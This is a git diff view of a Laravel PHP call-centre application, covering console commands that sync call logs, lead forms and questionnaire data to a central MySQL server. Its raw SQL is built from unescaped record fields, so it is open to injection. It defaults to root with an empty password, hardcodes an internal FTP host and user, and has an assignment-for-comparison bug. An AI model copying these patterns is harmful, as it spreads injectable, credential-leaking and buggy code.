| 94 | $user=DB::select(DB::raw("select id,clientcode,currentstatus,legalstatus from records where id='".$aline->crm_id."' limit 1;")); | ||
| 95 | if(isset($user[0])) | ||
| 96 | { | ||
| 97 | $record_id=$user[0]->id; | ||
| 98 | $clientcode=$user[0]->clientcode; | ||
| 99 | $currentstatus=$user[0]->currentstatus; | ||
| 100 | $legalstatus=$user[0]->legalstatus; | ||
| 101 | } | ||
| 102 | } | ||
| 103 | $tpostdata=json_decode($aline->data,true); | ||
| 104 | $fulldate=date("Y-m-d H:i:s",strtotime($aline->created_at)+330*60); | ||
| 105 | $talktime=$aline->talkSec+$aline->recstartSec+$aline->recendSec; | ||
| 106 | $length=round(($aline->waitSec+$aline->callSec+$talktime+$aline->dispoSec)/1000,2); | ||
| 107 | |||
| 108 | if(!isset($userarr[$aline->user_id])&&$aline->user_id>0)$userarr[$aline->user_id]=User::find($aline->user_id); | ||
| 109 | $dispname="";if(isset($userarr[$aline->user_id]))$dispname=$userarr[$aline->user_id]->dispname(); | ||
| 110 | $username="";if(isset($userarr[$aline->user_id]))$username=$userarr[$aline->user_id]->username; | ||
| 111 | $globalid=$server_id.$record_id; | ||
| 112 | $setstrarr[]="server='$server_id'"; | ||
| 113 | $setstrarr[]="record_id='$record_id'"; | ||
| 114 | $setstrarr[]="crmcall_id='$aline->id'"; | ||
| 115 | $countid=DB::connection("conn")->select(DB::raw("SELECT count(crmcall_id) as countid from $calllog_report where server='$server_id' and crmcall_id='$aline->id'")); | ||
| 116 | $countids=$countid[0]->countid; | ||
| 117 | if($countids>0){continue;} | ||
| 118 | $setstrarr[]="globalid='$globalid'"; | ||
| 119 | $setstrarr[]="start='$fulldate'"; | ||
| 120 | $setstrarr[]="length='$length'"; | ||
| 121 | $setstrarr[]="user='$username'"; | ||
| 122 | $setstrarr[]="name='$dispname'"; | ||
| 123 | $setstrarr[]="dispo='$aline->userstatus'"; | ||
| 124 | $setstrarr[]="subdispo='$aline->usersubstatus'"; | ||
| 125 | $setstrarr[]="callback='$aline->usercallback'"; | ||
| 126 | |||
| 127 | $setstrarr[]="number='$aline->number'"; | ||
| 128 | $setstrarr[]="clientcode='$clientcode'"; | ||
| 129 | $setstrarr[]="currentstatus='$currentstatus'"; | ||
| 130 | $setstrarr[]="legalstatus='$legalstatus'"; | ||
| 131 | $setstrarr[]="client='$aline->client'"; | ||
| 132 | $setstrarr[]="department='$aline->department'"; | ||
| 133 | $setstrarr[]="state='$aline->state'"; | ||
| 134 | $setstrarr[]="hsource='$aline->hsource'"; | ||
| 135 | |||
| 136 | $setstrarr[]="type='$aline->type'"; | ||
| 137 | $setstrarr[]="status='$aline->status'"; | ||
| 138 | $setstrarr[]="statuscode='$aline->statuscode'"; | ||
| 139 | $setstrarr[]="statusstr='$aline->substatus'"; | ||
| 140 | $setstrarr[]="dialline='$aline->dialline_id'"; | ||
| 141 | $setstrarr[]="did='$aline->did'"; | ||
| 142 | $setstrarr[]="waitsec='".round($aline->waitSec/1000,2)."'"; | ||
| 143 | $setstrarr[]="callsec='".round($aline->callSec/1000,2)."'"; | ||
| 144 | $setstrarr[]="talksec='".round($talktime/1000,2)."'"; | ||
| 145 | $setstrarr[]="disposec='".round($aline->dispoSec/1000,2)."'"; | ||
| 146 | $setstrarr[]="remarks='".str_replace("'","",$aline->userremarks)."'"; | ||
| 147 | $setstrarr[]="userdata='$aline->userdata'"; | ||
| 148 | $setstrarr[]="attempt='$aline->attempt'"; | ||
| 149 | |||
| 150 | $setstr=implode(",",$setstrarr); | ||
| 151 | DB::connection("conn")->insert(DB::raw("insert into ".$calllog_report." set $setstr")); | ||
| 152 | } | ||
| 153 | |||
| 154 | } | ||
| 155 | } | ||
| 156 | |||
| 157 |
application/app/Console/Commands/dailyupload_calllog.php
100755 → 100644
| ... | @@ -89,9 +89,9 @@ class dailyupload_calllog extends Command { | ... | @@ -89,9 +89,9 @@ class dailyupload_calllog extends Command { |
| 89 | $central_cont=0; | 89 | $central_cont=0; |
| 90 | 90 | ||
| 91 | } | 91 | } |
| 92 | $dif=($mlist[0]->countrecord)-($central_cont); | 92 | $dif=($central_cont)-($mlist[0]->countrecord); |
| 93 | 93 | ||
| 94 | if($dif<=5 && $dif>=-5){ | 94 | if($dif==0){ |
| 95 | 95 | ||
| 96 | $result="Y"; | 96 | $result="Y"; |
| 97 | 97 | ... | ... |
application/app/Console/Commands/dailyupload_questionaire.php
100755 → 100644
| ... | @@ -94,9 +94,9 @@ class dailyupload_questionaire extends Command { | ... | @@ -94,9 +94,9 @@ class dailyupload_questionaire extends Command { |
| 94 | $central_cont=0; | 94 | $central_cont=0; |
| 95 | 95 | ||
| 96 | } | 96 | } |
| 97 | $dif=($mlist[0]->countrecord)-($central_cont); | 97 | $dif=($central_cont)-($mlist[0]->countrecord); |
| 98 | 98 | ||
| 99 | if($dif<=1 && $dif>=-1){ | 99 | if($dif==0){ |
| 100 | 100 | ||
| 101 | $result="Y"; | 101 | $result="Y"; |
| 102 | 102 | ... | ... |
application/app/Console/Commands/full_remark_details.php
100755 → 100644
File mode changed
application/app/Console/Commands/lead_form_details.php
100755 → 100644
| ... | @@ -15,27 +15,27 @@ use Illuminate\Database\Schema\Blueprint; | ... | @@ -15,27 +15,27 @@ use Illuminate\Database\Schema\Blueprint; |
| 15 | 15 | ||
| 16 | class lead_form_details extends Command { | 16 | class lead_form_details extends Command { |
| 17 | 17 | ||
| 18 | /** | 18 | /** |
| 19 | * The console command name. | 19 | * The console command name. |
| 20 | * | 20 | * |
| 21 | * @var string | 21 | * @var string |
| 22 | */ | 22 | */ |
| 23 | protected $signature = 'lead_form_details'; | 23 | protected $signature = 'lead_form_details'; |
| 24 | 24 | ||
| 25 | /** | 25 | /** |
| 26 | * The console command description. | 26 | * The console command description. |
| 27 | * | 27 | * |
| 28 | * @var string | 28 | * @var string |
| 29 | */ | 29 | */ |
| 30 | protected $description = 'lead_form_details'; | 30 | protected $description = 'lead_form_details'; |
| 31 | 31 | ||
| 32 | /** | 32 | /** |
| 33 | * Execute the console command. | 33 | * Execute the console command. |
| 34 | * | 34 | * |
| 35 | * @return mixed | 35 | * @return mixed |
| 36 | */ | 36 | */ |
| 37 | public function handle() | 37 | public function handle() |
| 38 | { | 38 | { |
| 39 | $nowts=time(); | 39 | $nowts=time(); |
| 40 | echo "\n".date('Y-m-d H:i:s')."\n"; | 40 | echo "\n".date('Y-m-d H:i:s')."\n"; |
| 41 | 41 | ||
| ... | @@ -76,29 +76,30 @@ class lead_form_details extends Command { | ... | @@ -76,29 +76,30 @@ class lead_form_details extends Command { |
| 76 | $maxids=$maxid[0]->maxid; | 76 | $maxids=$maxid[0]->maxid; |
| 77 | 77 | ||
| 78 | $qlist=DB::select(DB::raw("SELECT * from lead_form where id>'$maxids'")); | 78 | $qlist=DB::select(DB::raw("SELECT * from lead_form where id>'$maxids'")); |
| 79 | print_r($qlist); | ||
| 80 | $userarr=array(); | 79 | $userarr=array(); |
| 81 | foreach($qlist as $qline) | 80 | foreach($qlist as $qline) |
| 82 | { | 81 | { |
| 83 | 82 | ||
| 84 | $setstrarr=array(); | 83 | $setstrarr=array(); |
| 85 | 84 | ||
| 85 | $crtdate=date("Y-m-d H:i:s",strtotime($qline->created_at)+330*60); | ||
| 86 | $update=date("Y-m-d H:i:s",strtotime($qline->updated_at)+330*60); | ||
| 87 | |||
| 86 | 88 | ||
| 87 | $setstrarr[]="lead_form_id='$qline->id'"; | 89 | $setstrarr[]="lead_form_id='$qline->id'"; |
| 88 | $setstrarr[]="created_at='$qline->created_at'"; | 90 | $setstrarr[]="created_at='$crtdate'"; |
| 89 | $setstrarr[]="updated_at='$qline->updated_at'"; | 91 | $setstrarr[]="updated_at='$update'"; |
| 92 | $setstrarr[]="br_code='$qline->br_code'"; | ||
| 93 | $setstrarr[]="br_name='$qline->br_name'"; | ||
| 94 | $setstrarr[]="lg_code='$qline->lg_code'"; | ||
| 95 | $setstrarr[]="processing_entity='$qline->processing_entity'"; | ||
| 96 | $setstrarr[]="lead_owner='$qline->lead_owner'"; | ||
| 97 | $setstrarr[]="lead_priority='$qline->lead_priority'"; | ||
| 90 | $setstrarr[]="product='$qline->product'"; | 98 | $setstrarr[]="product='$qline->product'"; |
| 99 | $setstrarr[]="customer_profile='$qline->customer_profile'"; | ||
| 91 | $setstrarr[]="customer_name='$qline->customer_name'"; | 100 | $setstrarr[]="customer_name='$qline->customer_name'"; |
| 92 | $setstrarr[]="mobile_number='$qline->mobile_number'"; | 101 | $setstrarr[]="connected_number='$qline->connected_number'"; |
| 93 | $setstrarr[]="city='$qline->city'"; | ||
| 94 | $setstrarr[]="state='$qline->state'"; | ||
| 95 | $setstrarr[]="agent_memo='$qline->agent_memo'"; | ||
| 96 | $setstrarr[]="customer_memo='$qline->customer_memo'"; | ||
| 97 | $setstrarr[]="remarks='$qline->remarks'"; | 102 | $setstrarr[]="remarks='$qline->remarks'"; |
| 98 | $setstrarr[]="transfer_memo='$qline->transfer_memo'"; | ||
| 99 | $setstrarr[]="server_ip='$server_ip'"; | ||
| 100 | $setstrarr[]="location='$location'"; | ||
| 101 | $setstrarr[]="address='$qline->address'"; | ||
| 102 | $setstrarr[]="mobile='$qline->mobile'"; | 103 | $setstrarr[]="mobile='$qline->mobile'"; |
| 103 | $setstrarr[]="client='$qline->client'"; | 104 | $setstrarr[]="client='$qline->client'"; |
| 104 | $setstrarr[]="user_id='$qline->user_id'"; | 105 | $setstrarr[]="user_id='$qline->user_id'"; |
| ... | @@ -106,10 +107,10 @@ print_r($qlist); | ... | @@ -106,10 +107,10 @@ print_r($qlist); |
| 106 | $setstrarr[]="clientcode='$qline->clientcode'"; | 107 | $setstrarr[]="clientcode='$qline->clientcode'"; |
| 107 | $setstrarr[]="call_id='$qline->call_id'"; | 108 | $setstrarr[]="call_id='$qline->call_id'"; |
| 108 | $setstrarr[]="record_id='$qline->record_id'"; | 109 | $setstrarr[]="record_id='$qline->record_id'"; |
| 110 | $setstrarr[]="server_id='$server_id'"; | ||
| 111 | $setstrarr[]="server_ip='$server_ip'"; | ||
| 109 | 112 | ||
| 110 | $setstr=implode(",",$setstrarr); | 113 | $setstr=implode(",",$setstrarr); |
| 111 | echo "prashant"; | ||
| 112 | print_r($setstr); | ||
| 113 | DB::connection("conn")->insert(DB::raw("insert into lead_form_details set $setstr")); | 114 | DB::connection("conn")->insert(DB::raw("insert into lead_form_details set $setstr")); |
| 114 | 115 | ||
| 115 | } | 116 | } |
| ... | @@ -117,7 +118,7 @@ print_r($setstr); | ... | @@ -117,7 +118,7 @@ print_r($setstr); |
| 117 | 118 | ||
| 118 | } | 119 | } |
| 119 | 120 | ||
| 120 | } | 121 | } |
| 121 | 122 | ||
| 122 | 123 | ||
| 123 | } | 124 | } | ... | ... |
| 1 | <?php namespace App\Console\Commands; | ||
| 2 | |||
| 3 | use Illuminate\Console\Command; | ||
| 4 | |||
| 5 | use DB; | ||
| 6 | use App\Models\RelationshipService; | ||
| 7 | use App\Models\RelationshipCategory; | ||
| 8 | use App\Models\RelationshipSubCategory; | ||
| 9 | |||
| 10 | use Config; | ||
| 11 | use Schema; | ||
| 12 | use PDO; | ||
| 13 | |||
| 14 | use Illuminate\Database\Schema\Blueprint; | ||
| 15 | |||
| 16 | class relationship_tag extends Command { | ||
| 17 | |||
| 18 | /** | ||
| 19 | * The console command name. | ||
| 20 | * | ||
| 21 | * @var string | ||
| 22 | */ | ||
| 23 | protected $signature = 'relationship_tag'; | ||
| 24 | |||
| 25 | /** | ||
| 26 | * The console command description. | ||
| 27 | * | ||
| 28 | * @var string | ||
| 29 | */ | ||
| 30 | protected $description = 'relationship_tag'; | ||
| 31 | |||
| 32 | /** | ||
| 33 | * Execute the console command. | ||
| 34 | * | ||
| 35 | * @return mixed | ||
| 36 | */ | ||
| 37 | public function handle() | ||
| 38 | { | ||
| 39 | $nowts=time(); | ||
| 40 | |||
| 41 | echo date('Y-m-d H:i:s')."\n"; | ||
| 42 | |||
| 43 | $tcol=0;$fieldsarr=array();$extrahdrarr=array(); | ||
| 44 | $server_ip=env('app_ip'); | ||
| 45 | $central_ip=env('central_ip'); | ||
| 46 | |||
| 47 | $conn = array( | ||
| 48 | 'driver' => 'mysql', | ||
| 49 | 'host' => $central_ip, | ||
| 50 | 'database' => env('DB_DATABASE', 'kstych_flexydial'), | ||
| 51 | 'username' => env('DB_USERNAME', 'root'), | ||
| 52 | 'password' => env('DB_PASSWORD', ''), | ||
| 53 | 'charset' => 'utf8', | ||
| 54 | 'collation' => 'utf8_unicode_ci', | ||
| 55 | 'prefix' => '', | ||
| 56 | 'options' => array( | ||
| 57 | PDO::ATTR_TIMEOUT => 5, | ||
| 58 | ), | ||
| 59 | ); | ||
| 60 | |||
| 61 | Config::set("database.connections.conn", $conn); | ||
| 62 | |||
| 63 | if(DB::connection("conn")->getDatabaseName()) | ||
| 64 | { | ||
| 65 | $relationshipList = DB::connection("conn")->select(DB::raw("SELECT * FROM relationship_tagging")); | ||
| 66 | |||
| 67 | $relationshipData = 0; $newService = 0; $newCategory = 0; $newSubCategory = 0; | ||
| 68 | |||
| 69 | foreach ($relationshipList as $list) { | ||
| 70 | $service = RelationshipService::where('title','=',$list->service)->first(); | ||
| 71 | |||
| 72 | if(count($service)){ | ||
| 73 | $serviceId = $service->id; | ||
| 74 | }else{ | ||
| 75 | $addService = RelationshipService::create(['title'=>$list->service]); | ||
| 76 | $serviceId = $addService->id; | ||
| 77 | $newService++; | ||
| 78 | } | ||
| 79 | echo $list->service." : ".$serviceId." - "; | ||
| 80 | |||
| 81 | $category = RelationshipCategory::where('service_id','=',$serviceId)->where('title','=',$list->category)->first(); | ||
| 82 | |||
| 83 | if(count($category)){ | ||
| 84 | $categoryId = $category->id; | ||
| 85 | }else{ | ||
| 86 | $addCategory = RelationshipCategory::create(['service_id'=>$serviceId,'title'=>$list->category]); | ||
| 87 | $categoryId = $addCategory->id; | ||
| 88 | $newCategory++; | ||
| 89 | } | ||
| 90 | echo $list->category." : ".$categoryId." - "; | ||
| 91 | |||
| 92 | $subCategory = RelationshipSubCategory::where('category_id','=',$categoryId)->where('title','=',$list->sub_category)->first(); | ||
| 93 | |||
| 94 | if(count($subCategory)){ | ||
| 95 | $subCategoryId = $subCategory->id; | ||
| 96 | }else{ | ||
| 97 | $addSubCategory = RelationshipSubCategory::create(['category_id'=>$categoryId,'title'=>$list->sub_category,'status'=>$list->status]); | ||
| 98 | $subCategoryId = $addSubCategory->id; | ||
| 99 | $newSubCategory++; | ||
| 100 | } | ||
| 101 | echo $list->sub_category." : ".$subCategoryId."\n"; | ||
| 102 | |||
| 103 | //DB::table('relationship_tagging')->where('id', $list->id)->update(['status'=>'InActive']); | ||
| 104 | $relationshipData++; | ||
| 105 | } | ||
| 106 | echo "Total ".$relationshipData." data process and ". $newService." service, ".$newCategory." category, ".$newSubCategory." sub category added\n"; | ||
| 107 | |||
| 108 | DB::connection("conn")->disconnect(); | ||
| 109 | |||
| 110 | } | ||
| 111 | |||
| 112 | } | ||
| 113 | |||
| 114 | } |
| 1 | <?php namespace App\Console\Commands; | ||
| 2 | |||
| 3 | use Illuminate\Console\Command; | ||
| 4 | use DB; | ||
| 5 | use Config; | ||
| 6 | |||
| 7 | use App\Models\User; | ||
| 8 | use App\Models\Accesslog; | ||
| 9 | |||
| 10 | use App\Models\CRMCall; | ||
| 11 | use Schema; | ||
| 12 | use PDO; | ||
| 13 | |||
| 14 | use Illuminate\Database\Schema\Blueprint; | ||
| 15 | |||
| 16 | class question_tree extends Command { | ||
| 17 | |||
| 18 | /** | ||
| 19 | * The console command name. | ||
| 20 | * | ||
| 21 | * @var string | ||
| 22 | */ | ||
| 23 | protected $signature = 'question_tree'; | ||
| 24 | |||
| 25 | /** | ||
| 26 | * The console command description. | ||
| 27 | * | ||
| 28 | * @var string | ||
| 29 | */ | ||
| 30 | protected $description = 'question_tree'; | ||
| 31 | |||
| 32 | /** | ||
| 33 | * Execute the console command. | ||
| 34 | * | ||
| 35 | * @return mixed | ||
| 36 | */ | ||
| 37 | public function handle() | ||
| 38 | { | ||
| 39 | $nowts=time(); | ||
| 40 | echo "\n".date('Y-m-d H:i:s')."\n"; | ||
| 41 | |||
| 42 | $tcol=0;$fieldsarr=array();$extrahdrarr=array(); | ||
| 43 | $server_ip=env('app_ip'); | ||
| 44 | $lead_form = "lead_form_details"; | ||
| 45 | $central_ip=env('central_ip'); | ||
| 46 | |||
| 47 | $conn = array( | ||
| 48 | 'driver' => 'mysql', | ||
| 49 | 'host' => $central_ip, | ||
| 50 | 'database' => env('DB_DATABASE', 'kstych_flexydial'), | ||
| 51 | 'username' => env('DB_USERNAME', 'root'), | ||
| 52 | 'password' => env('DB_PASSWORD', ''), | ||
| 53 | 'charset' => 'utf8', | ||
| 54 | 'collation' => 'utf8_unicode_ci', | ||
| 55 | 'prefix' => '', | ||
| 56 | 'options' => array( | ||
| 57 | PDO::ATTR_TIMEOUT => 5, | ||
| 58 | ), | ||
| 59 | ); | ||
| 60 | Config::set("database.connections.conn", $conn); | ||
| 61 | |||
| 62 | |||
| 63 | if(DB::connection("conn")->getDatabaseName()) | ||
| 64 | { | ||
| 65 | DB::table('question_tree')->truncate(); | ||
| 66 | DB::table('question')->truncate(); | ||
| 67 | |||
| 68 | |||
| 69 | $qlist=DB::connection("conn")->select(DB::raw("SELECT * from question_tree")); | ||
| 70 | |||
| 71 | foreach($qlist as $qline) | ||
| 72 | { | ||
| 73 | |||
| 74 | $setstrarr=array(); | ||
| 75 | |||
| 76 | $setstrarr[]="parent_id='$qline->parent_id'"; | ||
| 77 | $setstrarr[]="parent_opt='$qline->parent_opt'"; | ||
| 78 | $setstrarr[]="question_id='$qline->question_id'"; | ||
| 79 | $setstrarr[]="priority='$qline->priority'"; | ||
| 80 | |||
| 81 | $setstr=implode(",",$setstrarr); | ||
| 82 | DB::insert(DB::raw("insert into question_tree set $setstr")); | ||
| 83 | |||
| 84 | } | ||
| 85 | |||
| 86 | $slist=DB::connection("conn")->select(DB::raw("SELECT * from question_bank")); | ||
| 87 | foreach($slist as $sline) | ||
| 88 | { | ||
| 89 | |||
| 90 | $setstrarr=array(); | ||
| 91 | |||
| 92 | $setstrarr[]="question_no='$sline->question_no'"; | ||
| 93 | $setstrarr[]="questions='$sline->questions'"; | ||
| 94 | $setstrarr[]="opt_1='$sline->opt_1'"; | ||
| 95 | $setstrarr[]="opt_2='$sline->opt_2'"; | ||
| 96 | $setstrarr[]="opt_3='$sline->opt_3'"; | ||
| 97 | $setstrarr[]="opt_4='$sline->opt_4'"; | ||
| 98 | $setstrarr[]="opt_5='$sline->opt_5'"; | ||
| 99 | $setstrarr[]="opt_6='$sline->opt_6'"; | ||
| 100 | $setstrarr[]="opt_7='$sline->opt_7'"; | ||
| 101 | $setstrarr[]="opt_8='$sline->opt_8'"; | ||
| 102 | $setstrarr[]="opt_9='$sline->opt_9'"; | ||
| 103 | $setstrarr[]="opt_10='$sline->opt_10'"; | ||
| 104 | $setstrarr[]="type='$sline->type'"; | ||
| 105 | $setstrarr[]="compulsory_qes='$sline->compulsory_qes'"; | ||
| 106 | |||
| 107 | $setstr=implode(",",$setstrarr); | ||
| 108 | DB::insert(DB::raw("insert into question set $setstr")); | ||
| 109 | |||
| 110 | } | ||
| 111 | DB::connection("conn")->disconnect(); | ||
| 112 | |||
| 113 | } | ||
| 114 | |||
| 115 | } | ||
| 116 | |||
| 117 | |||
| 118 | } |
application/app/Console/Commands/questionnaire_details.php
100755 → 100644
| ... | @@ -15,32 +15,36 @@ use Illuminate\Database\Schema\Blueprint; | ... | @@ -15,32 +15,36 @@ use Illuminate\Database\Schema\Blueprint; |
| 15 | 15 | ||
| 16 | class questionnaire_details extends Command { | 16 | class questionnaire_details extends Command { |
| 17 | 17 | ||
| 18 | /** | 18 | /** |
| 19 | * The console command name. | 19 | * The console command name. |
| 20 | * | 20 | * |
| 21 | * @var string | 21 | * @var string |
| 22 | */ | 22 | */ |
| 23 | protected $signature = 'questionnaire_details'; | 23 | protected $signature = 'questionnaire_details'; |
| 24 | 24 | ||
| 25 | /** | 25 | /** |
| 26 | * The console command description. | 26 | * The console command description. |
| 27 | * | 27 | * |
| 28 | * @var string | 28 | * @var string |
| 29 | */ | 29 | */ |
| 30 | protected $description = 'questionnaire_details'; | 30 | protected $description = 'questionnaire_details'; |
| 31 | 31 | ||
| 32 | /** | 32 | /** |
| 33 | * Execute the console command. | 33 | * Execute the console command. |
| 34 | * | 34 | * |
| 35 | * @return mixed | 35 | * @return mixed |
| 36 | */ | 36 | */ |
| 37 | public function handle() | 37 | public function handle() |
| 38 | { | 38 | { |
| 39 | $nowts=time(); | 39 | $nowts=time(); |
| 40 | echo "\n".date('Y-m-d')."\n"; | 40 | echo "\n".date('Y-m-d')."\n"; |
| 41 | 41 | ||
| 42 | 42 | ||
| 43 | $logdate=strtotime('0 day'); | 43 | //$logdate=strtotime('0 day'); |
| 44 | |||
| 45 | $logdate=strtotime('0 day'. '00:00:00'); | ||
| 46 | |||
| 47 | $logtodate=strtotime('0 day'. '23:59:59'); | ||
| 44 | 48 | ||
| 45 | $tcol=0;$fieldsarr=array();$extrahdrarr=array(); | 49 | $tcol=0;$fieldsarr=array();$extrahdrarr=array(); |
| 46 | $questionaire = "questionaire_details_".date("d_m_Y"); | 50 | $questionaire = "questionaire_details_".date("d_m_Y"); |
| ... | @@ -77,10 +81,12 @@ class questionnaire_details extends Command { | ... | @@ -77,10 +81,12 @@ class questionnaire_details extends Command { |
| 77 | 81 | ||
| 78 | $maxids=$maxid[0]->maxid; | 82 | $maxids=$maxid[0]->maxid; |
| 79 | 83 | ||
| 84 | //$qlist=DB::select(DB::raw("SELECT * from questionaire_details where id>'$maxids' and created_at>'".date("Y-m-d 00:00:00")."' and created_at<'".date("Y-m-d ")."'")); | ||
| 85 | |||
| 86 | //$qlist=DB::select(DB::raw("SELECT * from questionaire_details where id>'$maxids' and created_at>'".date("Y-m-d H:i:s",$logdate)."' and created_at<'".date("Y-m-d H:i:s",$logtodate)."'")); | ||
| 80 | 87 | ||
| 81 | //$qlist=DB::select(DB::raw("SELECT * from questionaire_details where id>'$maxids'")); | 88 | $qlist=DB::select(DB::raw("SELECT * from questionaire_details where id>'$maxids' and created_at>'".date("Y-m-d H:i:s",$logdate)."'")); |
| 82 | 89 | ||
| 83 | $qlist=DB::select(DB::raw("SELECT * from questionaire_details where id>'$maxids' and created_at>'".date("Y-m-d")."' and created_at<'".date("Y-m-d H:i:s",$logdate-(60*60))."'")); | ||
| 84 | 90 | ||
| 85 | $userarr=array(); | 91 | $userarr=array(); |
| 86 | foreach($qlist as $qline) | 92 | foreach($qlist as $qline) |
| ... | @@ -95,6 +101,9 @@ class questionnaire_details extends Command { | ... | @@ -95,6 +101,9 @@ class questionnaire_details extends Command { |
| 95 | 101 | ||
| 96 | $setstrarr[]="server='$server_id'"; | 102 | $setstrarr[]="server='$server_id'"; |
| 97 | $setstrarr[]="question_id='$qline->id'"; | 103 | $setstrarr[]="question_id='$qline->id'"; |
| 104 | $countid=DB::connection("conn")->select(DB::raw("SELECT count(question_id) as countid from $questionaire where server='$server_id' and question_id='$qline->id'")); | ||
| 105 | $countids=$countid[0]->countid; | ||
| 106 | if($countids>0){continue;} | ||
| 98 | $setstrarr[]="created_at='$crtdate'"; | 107 | $setstrarr[]="created_at='$crtdate'"; |
| 99 | $setstrarr[]="updated_at='$update'"; | 108 | $setstrarr[]="updated_at='$update'"; |
| 100 | $setstrarr[]="user_id='$qline->user_id'"; | 109 | $setstrarr[]="user_id='$qline->user_id'"; |
| ... | @@ -132,13 +141,13 @@ class questionnaire_details extends Command { | ... | @@ -132,13 +141,13 @@ class questionnaire_details extends Command { |
| 132 | 141 | ||
| 133 | $setstr=implode(",",$setstrarr); | 142 | $setstr=implode(",",$setstrarr); |
| 134 | DB::connection("conn")->insert(DB::raw("insert into ".$questionaire." set $setstr")); | 143 | DB::connection("conn")->insert(DB::raw("insert into ".$questionaire." set $setstr")); |
| 135 | 144 | //DB::connection("conn")->insert(DB::raw("insert into questionaire_details_daily set $setstr")); | |
| 136 | } | 145 | } |
| 137 | DB::connection("conn")->disconnect(); | 146 | DB::connection("conn")->disconnect(); |
| 138 | 147 | ||
| 139 | } | 148 | } |
| 140 | 149 | ||
| 141 | } | 150 | } |
| 142 | 151 | ||
| 143 | 152 | ||
| 144 | } | 153 | } | ... | ... |
application/app/Console/Commands/recording_reconcilation.php
100755 → 100644
| ... | @@ -46,7 +46,7 @@ use Illuminate\Database\Schema\Blueprint; | ... | @@ -46,7 +46,7 @@ use Illuminate\Database\Schema\Blueprint; |
| 46 | $server_ip=env('app_ip'); | 46 | $server_ip=env('app_ip'); |
| 47 | $central_ip=env('central_ip'); | 47 | $central_ip=env('central_ip'); |
| 48 | 48 | ||
| 49 | $reporthead=array("id","server_ip","call_id","call_start_date","call_start_time","call_duration","DNIS","ANI","call_direction","cti_var1","cti_var2","cti_var4","transfer_status","recording_filename"); | 49 | $reporthead=array("id","server_ip","call_start_date","call_start_time","call_duration","DNIS","ANI","call_id","call_direction","transfer_type","cti_var1","cti_var2","cti_var4","cti_var5","cti_var6","cti_var10","transfer_status","recording_filename"); |
| 50 | 50 | ||
| 51 | $ftp_server="10.3.177.14"; | 51 | $ftp_server="10.3.177.14"; |
| 52 | $ftp_user_name="buzzworks"; | 52 | $ftp_user_name="buzzworks"; |
| ... | @@ -79,13 +79,19 @@ use Illuminate\Database\Schema\Blueprint; | ... | @@ -79,13 +79,19 @@ use Illuminate\Database\Schema\Blueprint; |
| 79 | $maxid=DB::connection("conn")->select(DB::raw("SELECT max(call_id) as maxid from recording_reconcilation where server_ip='$server_ip'")); | 79 | $maxid=DB::connection("conn")->select(DB::raw("SELECT max(call_id) as maxid from recording_reconcilation where server_ip='$server_ip'")); |
| 80 | if($maxid)$maxids=$maxid[0]->maxid; | 80 | if($maxid)$maxids=$maxid[0]->maxid; |
| 81 | 81 | ||
| 82 | $server_type=DB::connection("conn")->select(DB::raw("SELECT type from server_details where server_ip='$server_ip'")); | ||
| 83 | if($server_type)$servertype=$server_type[0]->type; | ||
| 84 | |||
| 85 | |||
| 82 | echo "\n"."maxids---".$maxids."\n"; | 86 | echo "\n"."maxids---".$maxids."\n"; |
| 83 | echo "\n".date("Y-m-d H:i:s",$logdate)."\n"; | 87 | echo "\n".date("Y-m-d H:i:s",$logdate)."\n"; |
| 84 | echo "\n".date("Y-m-d H:i:s",$logtodate)."\n"; | 88 | echo "\n".date("Y-m-d H:i:s",$logtodate)."\n"; |
| 89 | echo "\n"."servertype---".$servertype."\n"; | ||
| 85 | 90 | ||
| 86 | //query for calllog and recording | 91 | //query for calllog and recording |
| 87 | /*$qlist=DB::table('crmcalls')->select('*')->where('id','>','$maxid')->where('created_at','>=',date("Y-m-d H:i:s",$logdate))->where('created_at','<=',date("Y-m-d H:i:s",$logtodate))->get();*/ | 92 | /*$qlist=DB::table('crmcalls')->select('*')->where('id','>','$maxid')->where('created_at','>=',date("Y-m-d H:i:s",$logdate))->where('created_at','<=',date("Y-m-d H:i:s",$logtodate))->get();*/ |
| 88 | $qlist=DB::table('crmcalls')->select('*')->where('id','=','1079409')->get(); | 93 | |
| 94 | $qlist=DB::table('crmcalls_archive')->select('*')->whereIN('id',array('1014744','1014698','1014743','1014752','1014744','1014755','1014774','1014780','1014781','1014782','1014793'))->get(); | ||
| 89 | 95 | ||
| 90 | //create csv file | 96 | //create csv file |
| 91 | $ii=1; | 97 | $ii=1; |
| ... | @@ -101,7 +107,9 @@ use Illuminate\Database\Schema\Blueprint; | ... | @@ -101,7 +107,9 @@ use Illuminate\Database\Schema\Blueprint; |
| 101 | $fulldate=date("Y-m-d H:i:s",strtotime($qline->created_at)+330*60); | 107 | $fulldate=date("Y-m-d H:i:s",strtotime($qline->created_at)+330*60); |
| 102 | //$talktime=$qline->talkSec+$qline->recstartSec+$qline->recendSec; | 108 | //$talktime=$qline->talkSec+$qline->recstartSec+$qline->recendSec; |
| 103 | //$length=round(($qline->waitSec+$qline->callSec+$talktime+$qline->dispoSec)/1000,2); | 109 | //$length=round(($qline->waitSec+$qline->callSec+$talktime+$qline->dispoSec)/1000,2); |
| 104 | $length=round(($qline->talkSec+$qline->recstartSec+$qline->recendSec)/1000,2); | 110 | $length=round(($qline->talkSec+$qline->recstartSec+$qline->recendSec)/1000,0); |
| 111 | $length=gmdate("H:i:s", $length); | ||
| 112 | |||
| 105 | echo "\n"."startdate--".explode(" ",$fulldate)[0]."\n"; | 113 | echo "\n"."startdate--".explode(" ",$fulldate)[0]."\n"; |
| 106 | echo "\n"."starttime--".explode(" ",$fulldate)[1]."\n"; | 114 | echo "\n"."starttime--".explode(" ",$fulldate)[1]."\n"; |
| 107 | echo "\n"."call duration--". $length."\n"; | 115 | echo "\n"."call duration--". $length."\n"; |
| ... | @@ -124,21 +132,38 @@ use Illuminate\Database\Schema\Blueprint; | ... | @@ -124,21 +132,38 @@ use Illuminate\Database\Schema\Blueprint; |
| 124 | 132 | ||
| 125 | 133 | ||
| 126 | 134 | ||
| 127 | 135 | $call_direction=""; | |
| 136 | $disposubdispo=""; | ||
| 137 | $transfer_status=""; | ||
| 138 | if($qline->type=='Manual' || $qline->type='Progressive') | ||
| 139 | { | ||
| 140 | $call_direction="OB-".$qline->type; | ||
| 141 | $transfer_type='null'; | ||
| 142 | } | ||
| 143 | else | ||
| 144 | { | ||
| 145 | $call_direction=$qline->type; | ||
| 146 | $transfer_type='null'; | ||
| 147 | } | ||
| 148 | $disposubdispo=$qline->userstatus.','.$qline->usersubstatus; | ||
| 128 | 149 | ||
| 129 | 150 | ||
